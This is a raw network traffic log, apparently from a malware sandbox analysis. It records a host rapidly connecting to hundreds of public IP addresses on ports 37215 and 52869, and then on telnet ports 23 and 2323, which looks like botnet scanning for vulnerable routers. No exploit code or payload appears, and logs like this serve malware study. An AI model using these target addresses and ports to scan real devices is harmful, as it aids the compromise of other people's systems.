Dec 4, 2024 20:34:26.927112103 CET	60275	37215	192.168.2.14	41.127.61.36
Dec 4, 2024 20:34:26.927119017 CET	60275	37215	192.168.2.14	156.66.106.252
Dec 4, 2024 20:34:26.927124023 CET	60275	37215	192.168.2.14	156.180.29.11
Dec 4, 2024 20:34:26.927124023 CET	60275	37215	192.168.2.14	41.216.159.172
Dec 4, 2024 20:34:26.927125931 CET	60275	37215	192.168.2.14	197.9.129.157
Dec 4, 2024 20:34:26.927125931 CET	60275	37215	192.168.2.14	197.100.205.89
Dec 4, 2024 20:34:26.927129030 CET	60275	37215	192.168.2.14	197.221.1.218
Dec 4, 2024 20:34:26.927130938 CET	60275	37215	192.168.2.14	41.185.66.147
Dec 4, 2024 20:34:26.927130938 CET	60275	37215	192.168.2.14	41.85.199.185
Dec 4, 2024 20:34:26.927133083 CET	60275	37215	192.168.2.14	41.247.36.54
Dec 4, 2024 20:34:26.927133083 CET	60275	37215	192.168.2.14	156.60.173.238
Dec 4, 2024 20:34:26.927140951 CET	60275	37215	192.168.2.14	41.254.230.217
Dec 4, 2024 20:34:26.927150965 CET	60275	37215	192.168.2.14	41.9.103.8
Dec 4, 2024 20:34:26.927153111 CET	60275	37215	192.168.2.14	197.137.254.252
Dec 4, 2024 20:34:26.927155018 CET	60275	37215	192.168.2.14	197.110.184.13
Dec 4, 2024 20:34:26.927155018 CET	60275	37215	192.168.2.14	197.155.19.43
Dec 4, 2024 20:34:26.927155018 CET	60275	37215	192.168.2.14	197.115.25.113
Dec 4, 2024 20:34:26.927159071 CET	60275	37215	192.168.2.14	197.36.191.235
Dec 4, 2024 20:34:26.927167892 CET	60275	37215	192.168.2.14	197.122.104.199
Dec 4, 2024 20:34:26.927167892 CET	60275	37215	192.168.2.14	41.59.90.40
Dec 4, 2024 20:34:26.927170038 CET	60275	37215	192.168.2.14	156.148.99.15
Dec 4, 2024 20:34:26.927181005 CET	60275	37215	192.168.2.14	156.89.63.199
Dec 4, 2024 20:34:26.927201033 CET	60275	37215	192.168.2.14	156.101.92.252
Dec 4, 2024 20:34:26.927206039 CET	60275	37215	192.168.2.14	41.59.216.225
Dec 4, 2024 20:34:26.927206039 CET	60275	37215	192.168.2.14	197.44.77.128
Dec 4, 2024 20:34:26.927207947 CET	46300	52869	192.168.2.14	197.57.17.249
Dec 4, 2024 20:34:26.927208900 CET	60275	37215	192.168.2.14	41.139.148.228
Dec 4, 2024 20:34:26.927222013 CET	60275	37215	192.168.2.14	156.198.144.168
Dec 4, 2024 20:34:26.927222013 CET	60275	37215	192.168.2.14	156.147.75.167
Dec 4, 2024 20:34:26.927223921 CET	60275	37215	192.168.2.14	197.81.207.248
Dec 4, 2024 20:34:26.927223921 CET	60275	37215	192.168.2.14	197.126.95.18
Dec 4, 2024 20:34:26.927226067 CET	60275	37215	192.168.2.14	197.76.193.102
Dec 4, 2024 20:34:26.927241087 CET	60275	37215	192.168.2.14	41.85.214.90
Dec 4, 2024 20:34:26.927253962 CET	40064	37215	192.168.2.14	41.43.4.149
Dec 4, 2024 20:34:26.927287102 CET	40064	37215	192.168.2.14	41.43.4.149
Dec 4, 2024 20:34:26.927896023 CET	53662	52869	192.168.2.14	156.33.126.151
Dec 4, 2024 20:34:26.927896023 CET	53662	52869	192.168.2.14	156.33.126.151
Dec 4, 2024 20:34:26.928011894 CET	40570	37215	192.168.2.14	41.43.4.149
Dec 4, 2024 20:34:26.928499937 CET	53988	52869	192.168.2.14	156.33.126.151
Dec 4, 2024 20:34:26.928675890 CET	50822	37215	192.168.2.14	41.53.67.33
Dec 4, 2024 20:34:26.928675890 CET	50822	37215	192.168.2.14	41.53.67.33
Dec 4, 2024 20:34:26.929403067 CET	51330	37215	192.168.2.14	41.53.67.33
Dec 4, 2024 20:34:26.929768085 CET	51048	37215	192.168.2.14	41.165.7.20
Dec 4, 2024 20:34:26.929768085 CET	51048	37215	192.168.2.14	41.165.7.20
Dec 4, 2024 20:34:26.930027008 CET	51556	37215	192.168.2.14	41.165.7.20
Dec 4, 2024 20:34:26.930373907 CET	36750	37215	192.168.2.14	156.154.217.250
Dec 4, 2024 20:34:26.930373907 CET	36750	37215	192.168.2.14	156.154.217.250
Dec 4, 2024 20:34:26.930708885 CET	37258	37215	192.168.2.14	156.154.217.250
Dec 4, 2024 20:34:26.931075096 CET	49360	37215	192.168.2.14	41.54.125.212
Dec 4, 2024 20:34:26.931075096 CET	49360	37215	192.168.2.14	41.54.125.212
Dec 4, 2024 20:34:26.931391001 CET	49868	37215	192.168.2.14	41.54.125.212
Dec 4, 2024 20:34:26.931416035 CET	52869	49792	156.169.0.109	192.168.2.14
Dec 4, 2024 20:34:26.931452036 CET	49792	52869	192.168.2.14	156.169.0.109
Dec 4, 2024 20:34:26.931505919 CET	49792	52869	192.168.2.14	156.169.0.109
Dec 4, 2024 20:34:26.931505919 CET	49792	52869	192.168.2.14	156.169.0.109
Dec 4, 2024 20:34:26.931994915 CET	36106	37215	192.168.2.14	156.126.215.134
Dec 4, 2024 20:34:26.931994915 CET	36106	37215	192.168.2.14	156.126.215.134
Dec 4, 2024 20:34:26.932094097 CET	50108	52869	192.168.2.14	156.169.0.109
Dec 4, 2024 20:34:26.932732105 CET	36554	37215	192.168.2.14	156.126.215.134
Dec 4, 2024 20:34:26.944585085 CET	52869	44106	156.53.32.243	192.168.2.14
Dec 4, 2024 20:34:26.944696903 CET	44106	52869	192.168.2.14	156.53.32.243
Dec 4, 2024 20:34:26.944698095 CET	44106	52869	192.168.2.14	156.53.32.243
Dec 4, 2024 20:34:26.944698095 CET	44106	52869	192.168.2.14	156.53.32.243
Dec 4, 2024 20:34:26.945115089 CET	44394	52869	192.168.2.14	156.53.32.243
Dec 4, 2024 20:34:26.952781916 CET	52869	54712	156.39.9.64	192.168.2.14
Dec 4, 2024 20:34:26.952857971 CET	54712	52869	192.168.2.14	156.39.9.64
Dec 4, 2024 20:34:26.952883959 CET	54712	52869	192.168.2.14	156.39.9.64
Dec 4, 2024 20:34:26.952883959 CET	54712	52869	192.168.2.14	156.39.9.64
Dec 4, 2024 20:34:26.953222036 CET	54982	52869	192.168.2.14	156.39.9.64
Dec 4, 2024 20:34:26.965502024 CET	52869	49726	41.225.238.214	192.168.2.14
Dec 4, 2024 20:34:26.965572119 CET	49726	52869	192.168.2.14	41.225.238.214
Dec 4, 2024 20:34:26.965589046 CET	49726	52869	192.168.2.14	41.225.238.214
Dec 4, 2024 20:34:26.965589046 CET	49726	52869	192.168.2.14	41.225.238.214
Dec 4, 2024 20:34:26.965949059 CET	49966	52869	192.168.2.14	41.225.238.214
Dec 4, 2024 20:34:26.972688913 CET	37215	42552	41.187.237.232	192.168.2.14
Dec 4, 2024 20:34:26.972786903 CET	42552	37215	192.168.2.14	41.187.237.232
Dec 4, 2024 20:34:26.972826958 CET	42552	37215	192.168.2.14	41.187.237.232
Dec 4, 2024 20:34:26.972826958 CET	42552	37215	192.168.2.14	41.187.237.232
Dec 4, 2024 20:34:26.973187923 CET	42776	37215	192.168.2.14	41.187.237.232
Dec 4, 2024 20:34:26.987404108 CET	37215	59686	156.73.153.242	192.168.2.14
Dec 4, 2024 20:34:26.987452030 CET	59686	37215	192.168.2.14	156.73.153.242
Dec 4, 2024 20:34:26.987492085 CET	59686	37215	192.168.2.14	156.73.153.242
Dec 4, 2024 20:34:26.987492085 CET	59686	37215	192.168.2.14	156.73.153.242
Dec 4, 2024 20:34:26.987869978 CET	59880	37215	192.168.2.14	156.73.153.242
Dec 4, 2024 20:34:27.008543015 CET	52869	34758	156.29.51.142	192.168.2.14
Dec 4, 2024 20:34:27.008723974 CET	34758	52869	192.168.2.14	156.29.51.142
Dec 4, 2024 20:34:27.008949041 CET	34758	52869	192.168.2.14	156.29.51.142
Dec 4, 2024 20:34:27.008949041 CET	34758	52869	192.168.2.14	156.29.51.142
Dec 4, 2024 20:34:27.009316921 CET	37215	33068	41.135.60.103	192.168.2.14
Dec 4, 2024 20:34:27.009339094 CET	34934	52869	192.168.2.14	156.29.51.142
Dec 4, 2024 20:34:27.009371996 CET	33068	37215	192.168.2.14	41.135.60.103
Dec 4, 2024 20:34:27.009418964 CET	33068	37215	192.168.2.14	41.135.60.103
Dec 4, 2024 20:34:27.009418964 CET	33068	37215	192.168.2.14	41.135.60.103
Dec 4, 2024 20:34:27.010157108 CET	33216	37215	192.168.2.14	41.135.60.103
Dec 4, 2024 20:34:27.017117023 CET	37215	39600	197.33.215.35	192.168.2.14
Dec 4, 2024 20:34:27.017163992 CET	39600	37215	192.168.2.14	197.33.215.35
Dec 4, 2024 20:34:27.017205954 CET	39600	37215	192.168.2.14	197.33.215.35
Dec 4, 2024 20:34:27.017205954 CET	39600	37215	192.168.2.14	197.33.215.35
Dec 4, 2024 20:34:27.017505884 CET	39726	37215	192.168.2.14	197.33.215.35
Dec 4, 2024 20:34:27.027775049 CET	37215	52386	197.83.103.191	192.168.2.14
Dec 4, 2024 20:34:27.027821064 CET	52386	37215	192.168.2.14	197.83.103.191
Dec 4, 2024 20:34:27.027862072 CET	52386	37215	192.168.2.14	197.83.103.191
Dec 4, 2024 20:34:27.027862072 CET	52386	37215	192.168.2.14	197.83.103.191
Dec 4, 2024 20:34:27.028163910 CET	52482	37215	192.168.2.14	197.83.103.191
Dec 4, 2024 20:34:27.035367012 CET	37215	44220	156.127.38.166	192.168.2.14
Dec 4, 2024 20:34:27.035408974 CET	44220	37215	192.168.2.14	156.127.38.166
Dec 4, 2024 20:34:27.035459995 CET	44220	37215	192.168.2.14	156.127.38.166
Dec 4, 2024 20:34:27.035459995 CET	44220	37215	192.168.2.14	156.127.38.166
Dec 4, 2024 20:34:27.035798073 CET	44298	37215	192.168.2.14	156.127.38.166
Dec 4, 2024 20:34:27.044749022 CET	52869	48420	41.169.164.75	192.168.2.14
Dec 4, 2024 20:34:27.045696974 CET	52869	55648	41.118.64.160	192.168.2.14
Dec 4, 2024 20:34:27.046288967 CET	52869	56104	41.118.64.160	192.168.2.14
Dec 4, 2024 20:34:27.046333075 CET	56104	52869	192.168.2.14	41.118.64.160
Dec 4, 2024 20:34:27.046355963 CET	56104	52869	192.168.2.14	41.118.64.160
Dec 4, 2024 20:34:27.046814919 CET	52869	43260	156.143.161.42	192.168.2.14
Dec 4, 2024 20:34:27.049007893 CET	52869	34958	197.149.191.62	192.168.2.14
Dec 4, 2024 20:34:27.052941084 CET	52869	45946	197.57.17.249	192.168.2.14
Dec 4, 2024 20:34:27.052979946 CET	37215	40064	41.43.4.149	192.168.2.14
Dec 4, 2024 20:34:27.055850029 CET	52869	53662	156.33.126.151	192.168.2.14
Dec 4, 2024 20:34:27.055994987 CET	37215	50822	41.53.67.33	192.168.2.14
Dec 4, 2024 20:34:27.067018986 CET	37215	51048	41.165.7.20	192.168.2.14
Dec 4, 2024 20:34:27.075530052 CET	37215	36750	156.154.217.250	192.168.2.14
Dec 4, 2024 20:34:27.075617075 CET	37215	49360	41.54.125.212	192.168.2.14
Dec 4, 2024 20:34:27.075625896 CET	37215	49868	41.54.125.212	192.168.2.14
Dec 4, 2024 20:34:27.075741053 CET	52869	49792	156.169.0.109	192.168.2.14
Dec 4, 2024 20:34:27.075762033 CET	49868	37215	192.168.2.14	41.54.125.212
Dec 4, 2024 20:34:27.075762033 CET	49868	37215	192.168.2.14	41.54.125.212
Dec 4, 2024 20:34:27.076016903 CET	45566	37215	192.168.2.14	41.218.13.28
Dec 4, 2024 20:34:27.086697102 CET	37215	36106	156.126.215.134	192.168.2.14
Dec 4, 2024 20:34:27.090699911 CET	52869	55648	41.118.64.160	192.168.2.14
Dec 4, 2024 20:34:27.090723991 CET	52869	48420	41.169.164.75	192.168.2.14
Dec 4, 2024 20:34:27.090760946 CET	52869	43260	156.143.161.42	192.168.2.14
Dec 4, 2024 20:34:27.093236923 CET	52869	44106	156.53.32.243	192.168.2.14
Dec 4, 2024 20:34:27.093286991 CET	52869	44394	156.53.32.243	192.168.2.14
Dec 4, 2024 20:34:27.093337059 CET	44394	52869	192.168.2.14	156.53.32.243
Dec 4, 2024 20:34:27.093483925 CET	44394	52869	192.168.2.14	156.53.32.243
Dec 4, 2024 20:34:27.094825983 CET	37215	40064	41.43.4.149	192.168.2.14
Dec 4, 2024 20:34:27.094836950 CET	52869	45946	197.57.17.249	192.168.2.14
Dec 4, 2024 20:34:27.094845057 CET	52869	34958	197.149.191.62	192.168.2.14
Dec 4, 2024 20:34:27.102044106 CET	52869	54712	156.39.9.64	192.168.2.14
Dec 4, 2024 20:34:27.102103949 CET	52869	54982	156.39.9.64	192.168.2.14
Dec 4, 2024 20:34:27.102113008 CET	52869	49726	41.225.238.214	192.168.2.14
Dec 4, 2024 20:34:27.102123976 CET	52869	49966	41.225.238.214	192.168.2.14
Dec 4, 2024 20:34:27.102133989 CET	37215	42552	41.187.237.232	192.168.2.14
Dec 4, 2024 20:34:27.102154016 CET	49966	52869	192.168.2.14	41.225.238.214
Dec 4, 2024 20:34:27.102154016 CET	54982	52869	192.168.2.14	156.39.9.64
Dec 4, 2024 20:34:27.102154016 CET	54982	52869	192.168.2.14	156.39.9.64
Dec 4, 2024 20:34:27.102185011 CET	37215	42776	41.187.237.232	192.168.2.14
Dec 4, 2024 20:34:27.102186918 CET	49966	52869	192.168.2.14	41.225.238.214
Dec 4, 2024 20:34:27.102224112 CET	42776	37215	192.168.2.14	41.187.237.232
Dec 4, 2024 20:34:27.102248907 CET	42776	37215	192.168.2.14	41.187.237.232
Dec 4, 2024 20:34:27.102555990 CET	49034	37215	192.168.2.14	197.140.98.60
Dec 4, 2024 20:34:27.102720976 CET	37215	50822	41.53.67.33	192.168.2.14
Dec 4, 2024 20:34:27.102777004 CET	52869	53662	156.33.126.151	192.168.2.14
Dec 4, 2024 20:34:27.107326031 CET	37215	59686	156.73.153.242	192.168.2.14
Dec 4, 2024 20:34:27.109004974 CET	37215	59880	156.73.153.242	192.168.2.14
Dec 4, 2024 20:34:27.109045982 CET	59880	37215	192.168.2.14	156.73.153.242
Dec 4, 2024 20:34:27.109059095 CET	59880	37215	192.168.2.14	156.73.153.242
Dec 4, 2024 20:34:27.109340906 CET	59506	37215	192.168.2.14	197.38.238.24
Dec 4, 2024 20:34:27.110785007 CET	37215	51048	41.165.7.20	192.168.2.14
Dec 4, 2024 20:34:27.118715048 CET	52869	49792	156.169.0.109	192.168.2.14
Dec 4, 2024 20:34:27.118726015 CET	37215	49360	41.54.125.212	192.168.2.14
Dec 4, 2024 20:34:27.118742943 CET	37215	36750	156.154.217.250	192.168.2.14
Dec 4, 2024 20:34:27.126755953 CET	37215	36106	156.126.215.134	192.168.2.14
Dec 4, 2024 20:34:27.129690886 CET	52869	34758	156.29.51.142	192.168.2.14
Dec 4, 2024 20:34:27.129703045 CET	52869	34934	156.29.51.142	192.168.2.14
Dec 4, 2024 20:34:27.129710913 CET	37215	33068	41.135.60.103	192.168.2.14
Dec 4, 2024 20:34:27.129745960 CET	34934	52869	192.168.2.14	156.29.51.142
Dec 4, 2024 20:34:27.129769087 CET	34934	52869	192.168.2.14	156.29.51.142
Dec 4, 2024 20:34:27.131247044 CET	37215	33216	41.135.60.103	192.168.2.14
Dec 4, 2024 20:34:27.131316900 CET	33216	37215	192.168.2.14	41.135.60.103
Dec 4, 2024 20:34:27.131316900 CET	33216	37215	192.168.2.14	41.135.60.103
Dec 4, 2024 20:34:27.131635904 CET	59856	37215	192.168.2.14	156.225.172.78
Dec 4, 2024 20:34:27.134846926 CET	52869	44106	156.53.32.243	192.168.2.14
Dec 4, 2024 20:34:27.138722897 CET	37215	39600	197.33.215.35	192.168.2.14
Dec 4, 2024 20:34:27.138761997 CET	37215	39726	197.33.215.35	192.168.2.14
Dec 4, 2024 20:34:27.138832092 CET	39726	37215	192.168.2.14	197.33.215.35
Dec 4, 2024 20:34:27.138832092 CET	39726	37215	192.168.2.14	197.33.215.35
Dec 4, 2024 20:34:27.139178038 CET	50752	37215	192.168.2.14	197.94.90.110
Dec 4, 2024 20:34:27.142785072 CET	37215	42552	41.187.237.232	192.168.2.14
Dec 4, 2024 20:34:27.142863989 CET	52869	49726	41.225.238.214	192.168.2.14
Dec 4, 2024 20:34:27.142872095 CET	52869	54712	156.39.9.64	192.168.2.14
Dec 4, 2024 20:34:27.148279905 CET	37215	52386	197.83.103.191	192.168.2.14
Dec 4, 2024 20:34:27.148416042 CET	37215	52482	197.83.103.191	192.168.2.14
Dec 4, 2024 20:34:27.148468018 CET	52482	37215	192.168.2.14	197.83.103.191
Dec 4, 2024 20:34:27.148468018 CET	52482	37215	192.168.2.14	197.83.103.191
Dec 4, 2024 20:34:27.148761034 CET	54362	37215	192.168.2.14	156.128.125.118
Dec 4, 2024 20:34:27.154696941 CET	37215	59686	156.73.153.242	192.168.2.14
Dec 4, 2024 20:34:27.155177116 CET	37215	44220	156.127.38.166	192.168.2.14
Dec 4, 2024 20:34:27.155589104 CET	37215	44298	156.127.38.166	192.168.2.14
Dec 4, 2024 20:34:27.155637980 CET	44298	37215	192.168.2.14	156.127.38.166
Dec 4, 2024 20:34:27.155643940 CET	44298	37215	192.168.2.14	156.127.38.166
Dec 4, 2024 20:34:27.155978918 CET	60342	37215	192.168.2.14	41.97.6.254
Dec 4, 2024 20:34:27.166557074 CET	52869	56104	41.118.64.160	192.168.2.14
Dec 4, 2024 20:34:27.166594982 CET	56104	52869	192.168.2.14	41.118.64.160
Dec 4, 2024 20:34:27.174806118 CET	37215	33068	41.135.60.103	192.168.2.14
Dec 4, 2024 20:34:27.174854040 CET	52869	34758	156.29.51.142	192.168.2.14
Dec 4, 2024 20:34:27.183231115 CET	37215	39600	197.33.215.35	192.168.2.14
Dec 4, 2024 20:34:27.194827080 CET	37215	52386	197.83.103.191	192.168.2.14
Dec 4, 2024 20:34:27.196814060 CET	37215	45566	41.218.13.28	192.168.2.14
Dec 4, 2024 20:34:27.196868896 CET	45566	37215	192.168.2.14	41.218.13.28
Dec 4, 2024 20:34:27.196892023 CET	45566	37215	192.168.2.14	41.218.13.28
Dec 4, 2024 20:34:27.196892023 CET	45566	37215	192.168.2.14	41.218.13.28
Dec 4, 2024 20:34:27.197154045 CET	37215	49868	41.54.125.212	192.168.2.14
Dec 4, 2024 20:34:27.197170973 CET	45580	37215	192.168.2.14	41.218.13.28
Dec 4, 2024 20:34:27.197293043 CET	49868	37215	192.168.2.14	41.54.125.212
Dec 4, 2024 20:34:27.198785067 CET	37215	44220	156.127.38.166	192.168.2.14
Dec 4, 2024 20:34:27.215333939 CET	52869	44394	156.53.32.243	192.168.2.14
Dec 4, 2024 20:34:27.215478897 CET	44394	52869	192.168.2.14	156.53.32.243
Dec 4, 2024 20:34:27.225405931 CET	37215	49034	197.140.98.60	192.168.2.14
Dec 4, 2024 20:34:27.225467920 CET	49034	37215	192.168.2.14	197.140.98.60
Dec 4, 2024 20:34:27.225516081 CET	49034	37215	192.168.2.14	197.140.98.60
Dec 4, 2024 20:34:27.225516081 CET	49034	37215	192.168.2.14	197.140.98.60
Dec 4, 2024 20:34:27.225812912 CET	49048	37215	192.168.2.14	197.140.98.60
Dec 4, 2024 20:34:27.225979090 CET	52869	49966	41.225.238.214	192.168.2.14
Dec 4, 2024 20:34:27.226016998 CET	49966	52869	192.168.2.14	41.225.238.214
Dec 4, 2024 20:34:27.226840973 CET	37215	42776	41.187.237.232	192.168.2.14
Dec 4, 2024 20:34:27.226931095 CET	52869	54982	156.39.9.64	192.168.2.14
Dec 4, 2024 20:34:27.226939917 CET	52869	54982	156.39.9.64	192.168.2.14
Dec 4, 2024 20:34:27.227004051 CET	54982	52869	192.168.2.14	156.39.9.64
Dec 4, 2024 20:34:27.227113962 CET	37215	42776	41.187.237.232	192.168.2.14
Dec 4, 2024 20:34:27.227153063 CET	42776	37215	192.168.2.14	41.187.237.232
Dec 4, 2024 20:34:27.232086897 CET	37215	59880	156.73.153.242	192.168.2.14
Dec 4, 2024 20:34:27.232144117 CET	59880	37215	192.168.2.14	156.73.153.242
Dec 4, 2024 20:34:27.232176065 CET	37215	59506	197.38.238.24	192.168.2.14
Dec 4, 2024 20:34:27.232222080 CET	59506	37215	192.168.2.14	197.38.238.24
Dec 4, 2024 20:34:27.232259035 CET	59506	37215	192.168.2.14	197.38.238.24
Dec 4, 2024 20:34:27.232259035 CET	59506	37215	192.168.2.14	197.38.238.24
Dec 4, 2024 20:34:27.232544899 CET	59520	37215	192.168.2.14	197.38.238.24
Dec 4, 2024 20:34:27.252582073 CET	52869	34934	156.29.51.142	192.168.2.14
Dec 4, 2024 20:34:27.252625942 CET	34934	52869	192.168.2.14	156.29.51.142
Dec 4, 2024 20:34:27.253834963 CET	37215	33216	41.135.60.103	192.168.2.14
Dec 4, 2024 20:34:27.253879070 CET	33216	37215	192.168.2.14	41.135.60.103
Dec 4, 2024 20:34:27.253947020 CET	37215	59856	156.225.172.78	192.168.2.14
Dec 4, 2024 20:34:27.253987074 CET	59856	37215	192.168.2.14	156.225.172.78
Dec 4, 2024 20:34:27.254029036 CET	59856	37215	192.168.2.14	156.225.172.78
Dec 4, 2024 20:34:27.254029036 CET	59856	37215	192.168.2.14	156.225.172.78
Dec 4, 2024 20:34:27.254424095 CET	59870	37215	192.168.2.14	156.225.172.78
Dec 4, 2024 20:34:27.261348009 CET	37215	50752	197.94.90.110	192.168.2.14
Dec 4, 2024 20:34:27.261409044 CET	37215	39726	197.33.215.35	192.168.2.14
Dec 4, 2024 20:34:27.261409044 CET	50752	37215	192.168.2.14	197.94.90.110
Dec 4, 2024 20:34:27.261480093 CET	50752	37215	192.168.2.14	197.94.90.110
Dec 4, 2024 20:34:27.261480093 CET	39726	37215	192.168.2.14	197.33.215.35
Dec 4, 2024 20:34:27.261480093 CET	50752	37215	192.168.2.14	197.94.90.110
Dec 4, 2024 20:34:27.261730909 CET	50766	37215	192.168.2.14	197.94.90.110
Dec 4, 2024 20:34:27.271385908 CET	37215	54362	156.128.125.118	192.168.2.14
Dec 4, 2024 20:34:27.271425962 CET	54362	37215	192.168.2.14	156.128.125.118
Dec 4, 2024 20:34:27.271470070 CET	54362	37215	192.168.2.14	156.128.125.118
Dec 4, 2024 20:34:27.271471024 CET	54362	37215	192.168.2.14	156.128.125.118
Dec 4, 2024 20:34:27.271724939 CET	37215	52482	197.83.103.191	192.168.2.14
Dec 4, 2024 20:34:27.271732092 CET	54376	37215	192.168.2.14	156.128.125.118
Dec 4, 2024 20:34:27.271766901 CET	52482	37215	192.168.2.14	197.83.103.191
Dec 4, 2024 20:34:27.278367043 CET	37215	44298	156.127.38.166	192.168.2.14
Dec 4, 2024 20:34:27.278407097 CET	44298	37215	192.168.2.14	156.127.38.166
Dec 4, 2024 20:34:27.278551102 CET	37215	60342	41.97.6.254	192.168.2.14
Dec 4, 2024 20:34:27.278594971 CET	60342	37215	192.168.2.14	41.97.6.254
Dec 4, 2024 20:34:27.278634071 CET	60342	37215	192.168.2.14	41.97.6.254
Dec 4, 2024 20:34:27.278634071 CET	60342	37215	192.168.2.14	41.97.6.254
Dec 4, 2024 20:34:27.278954029 CET	60356	37215	192.168.2.14	41.97.6.254
Dec 4, 2024 20:34:27.318891048 CET	37215	45566	41.218.13.28	192.168.2.14
Dec 4, 2024 20:34:27.319232941 CET	37215	45566	41.218.13.28	192.168.2.14
Dec 4, 2024 20:34:27.319320917 CET	37215	45566	41.218.13.28	192.168.2.14
Dec 4, 2024 20:34:27.319340944 CET	37215	45580	41.218.13.28	192.168.2.14
Dec 4, 2024 20:34:27.319415092 CET	45580	37215	192.168.2.14	41.218.13.28
Dec 4, 2024 20:34:27.319427967 CET	45580	37215	192.168.2.14	41.218.13.28
Dec 4, 2024 20:34:27.346044064 CET	37215	49034	197.140.98.60	192.168.2.14
Dec 4, 2024 20:34:27.346055031 CET	37215	49048	197.140.98.60	192.168.2.14
Dec 4, 2024 20:34:27.346292019 CET	49048	37215	192.168.2.14	197.140.98.60
Dec 4, 2024 20:34:27.346292019 CET	49048	37215	192.168.2.14	197.140.98.60
Dec 4, 2024 20:34:27.352395058 CET	37215	59506	197.38.238.24	192.168.2.14
Dec 4, 2024 20:34:27.352516890 CET	37215	59520	197.38.238.24	192.168.2.14
Dec 4, 2024 20:34:27.352566004 CET	59520	37215	192.168.2.14	197.38.238.24
Dec 4, 2024 20:34:27.352593899 CET	59520	37215	192.168.2.14	197.38.238.24
Dec 4, 2024 20:34:27.374224901 CET	37215	59856	156.225.172.78	192.168.2.14
Dec 4, 2024 20:34:27.374245882 CET	37215	59856	156.225.172.78	192.168.2.14
Dec 4, 2024 20:34:27.374280930 CET	37215	59856	156.225.172.78	192.168.2.14
Dec 4, 2024 20:34:27.374371052 CET	37215	59870	156.225.172.78	192.168.2.14
Dec 4, 2024 20:34:27.374423027 CET	59870	37215	192.168.2.14	156.225.172.78
Dec 4, 2024 20:34:27.374449968 CET	59870	37215	192.168.2.14	156.225.172.78
Dec 4, 2024 20:34:27.381392956 CET	37215	50752	197.94.90.110	192.168.2.14
Dec 4, 2024 20:34:27.381412983 CET	37215	50766	197.94.90.110	192.168.2.14
Dec 4, 2024 20:34:27.381464005 CET	50766	37215	192.168.2.14	197.94.90.110
Dec 4, 2024 20:34:27.381477118 CET	50766	37215	192.168.2.14	197.94.90.110
Dec 4, 2024 20:34:27.390758991 CET	37215	49034	197.140.98.60	192.168.2.14
Dec 4, 2024 20:34:27.391258955 CET	37215	54362	156.128.125.118	192.168.2.14
Dec 4, 2024 20:34:27.391539097 CET	37215	54362	156.128.125.118	192.168.2.14
Dec 4, 2024 20:34:27.391566992 CET	37215	54376	156.128.125.118	192.168.2.14
Dec 4, 2024 20:34:27.391609907 CET	54376	37215	192.168.2.14	156.128.125.118
Dec 4, 2024 20:34:27.391634941 CET	54376	37215	192.168.2.14	156.128.125.118
Dec 4, 2024 20:34:27.398391008 CET	37215	60342	41.97.6.254	192.168.2.14
Dec 4, 2024 20:34:27.398832083 CET	37215	59506	197.38.238.24	192.168.2.14
Dec 4, 2024 20:34:27.398843050 CET	37215	60356	41.97.6.254	192.168.2.14
Dec 4, 2024 20:34:27.398888111 CET	60356	37215	192.168.2.14	41.97.6.254
Dec 4, 2024 20:34:27.398888111 CET	60356	37215	192.168.2.14	41.97.6.254
Dec 4, 2024 20:34:27.401700020 CET	37215	60342	41.97.6.254	192.168.2.14
Dec 4, 2024 20:34:27.422775030 CET	37215	50752	197.94.90.110	192.168.2.14
Dec 4, 2024 20:34:27.442708969 CET	37215	45580	41.218.13.28	192.168.2.14
Dec 4, 2024 20:34:27.442866087 CET	45580	37215	192.168.2.14	41.218.13.28
Dec 4, 2024 20:34:27.469242096 CET	37215	49048	197.140.98.60	192.168.2.14
Dec 4, 2024 20:34:27.469399929 CET	49048	37215	192.168.2.14	197.140.98.60
Dec 4, 2024 20:34:27.475079060 CET	37215	59520	197.38.238.24	192.168.2.14
Dec 4, 2024 20:34:27.475223064 CET	59520	37215	192.168.2.14	197.38.238.24
Dec 4, 2024 20:34:27.495745897 CET	37215	59870	156.225.172.78	192.168.2.14
Dec 4, 2024 20:34:27.495979071 CET	59870	37215	192.168.2.14	156.225.172.78
Dec 4, 2024 20:34:27.503837109 CET	37215	50766	197.94.90.110	192.168.2.14
Dec 4, 2024 20:34:27.503887892 CET	50766	37215	192.168.2.14	197.94.90.110
Dec 4, 2024 20:34:27.511616945 CET	37215	54376	156.128.125.118	192.168.2.14
Dec 4, 2024 20:34:27.511657000 CET	54376	37215	192.168.2.14	156.128.125.118
Dec 4, 2024 20:34:27.520535946 CET	37215	60356	41.97.6.254	192.168.2.14
Dec 4, 2024 20:34:27.520572901 CET	60356	37215	192.168.2.14	41.97.6.254
Dec 4, 2024 20:34:27.746850967 CET	60787	23	192.168.2.14	37.98.81.13
Dec 4, 2024 20:34:27.746860027 CET	60787	23	192.168.2.14	144.88.5.55
Dec 4, 2024 20:34:27.746860027 CET	60787	23	192.168.2.14	180.100.180.63
Dec 4, 2024 20:34:27.746860027 CET	60787	23	192.168.2.14	87.18.192.151
Dec 4, 2024 20:34:27.746860981 CET	60787	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:27.746861935 CET	60787	23	192.168.2.14	218.64.224.196
Dec 4, 2024 20:34:27.746861935 CET	60787	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:27.746862888 CET	60787	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:27.746864080 CET	60787	23	192.168.2.14	18.64.164.142
Dec 4, 2024 20:34:27.746862888 CET	60787	23	192.168.2.14	167.81.113.199
Dec 4, 2024 20:34:27.746864080 CET	60787	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:27.746862888 CET	60787	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:27.746862888 CET	60787	23	192.168.2.14	134.247.195.205
Dec 4, 2024 20:34:27.746864080 CET	60787	23	192.168.2.14	160.113.182.46
Dec 4, 2024 20:34:27.746862888 CET	60787	23	192.168.2.14	164.152.144.218
Dec 4, 2024 20:34:27.746864080 CET	60787	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:27.746864080 CET	60787	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:27.746864080 CET	60787	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:27.746867895 CET	60787	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:27.746862888 CET	60787	23	192.168.2.14	103.222.238.109
Dec 4, 2024 20:34:27.746867895 CET	60787	23	192.168.2.14	161.204.36.67
Dec 4, 2024 20:34:27.746864080 CET	60787	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:27.746867895 CET	60787	23	192.168.2.14	70.38.173.168
